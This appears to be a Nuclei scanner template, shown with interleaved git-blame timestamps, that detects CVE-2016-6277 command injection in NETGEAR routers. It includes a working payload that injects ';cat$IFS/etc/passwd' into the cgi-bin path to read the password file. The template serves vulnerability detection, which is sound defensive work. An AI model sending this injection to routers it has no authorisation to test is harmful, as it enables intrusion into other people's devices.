2021-09-04 09:45:28 +00:00
id : CVE-2016-6277
info :
2022-06-09 20:35:21 +00:00
name : NETGEAR Routers - Remote Code Execution
2021-09-04 09:45:28 +00:00
author : pikpikcu
2021-09-10 11:26:40 +00:00
severity : high
2022-06-09 20:35:21 +00:00
description : NETGEAR routers R6250 before 1.0.4.6.Beta, R6400 before 1.0.1.18.Beta, R6700 before 1.0.1.14.Beta, R6900, R7000 before 1.0.7.6.Beta, R7100LG before 1.0.0.28.Beta, R7300DST before 1.0.0.46.Beta, R7900 before 1.0.1.8.Beta, R8000 before 1.0.3.26.Beta, D6220, D6400, D7000, and possibly others allow remote attackers to execute arbitrary commands via shell metacharacters in the path info to cgi-bin/.
2023-09-06 13:22:34 +00:00
remediation : |
Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability.
2021-09-04 09:54:59 +00:00
reference :
- https://www.sj-vs.net/2016/12/10/temporary-fix-for-cert-vu582384-cwe-77-on-netgear-r7000-and-r6400-routers/
- https://nvd.nist.gov/vuln/detail/CVE-2016-6277
2022-05-17 09:18:12 +00:00
- http://www.sj-vs.net/a-temporary-fix-for-cert-vu582384-cwe-77-on-netgear-r7000-and-r6400-routers/
- https://www.kb.cert.org/vuls/id/582384
2023-07-11 19:49:27 +00:00
- http://kb.netgear.com/000036386/CVE-2016-582384
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 8.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2016-6277
cwe-id : CWE-352
2023-07-11 19:49:27 +00:00
epss-score : 0.97471
2023-11-03 10:59:12 +00:00
epss-percentile : 0.99957
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:o:netgear:d6220_firmware:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : netgear
product : d6220_firmware
tags : cve,cve2016,netgear,rce,iot,kev
2021-09-04 09:45:28 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-09-04 09:45:28 +00:00
- method : GET
path :
- "{{BaseURL}}/cgi-bin/;cat$IFS/etc/passwd"
matchers-condition : and
matchers :
- type : regex
regex :
2022-03-22 08:01:31 +00:00
- "root:.*:0:0:"
2021-09-04 09:45:28 +00:00
- type : status
status :
- 200
2023-11-03 15:16:28 +00:00
# digest: 4a0a0047304502206775efc5bf9eda40a73a53b5169085f2193d8b9f5f421ca398c1b084c14ec3ff022100f1431c2fb7e0c6738c1a50f0ccfc815f7da5811487d5cdae95c1724e397afbb0:922c64590222798bb761d5b6d8e72950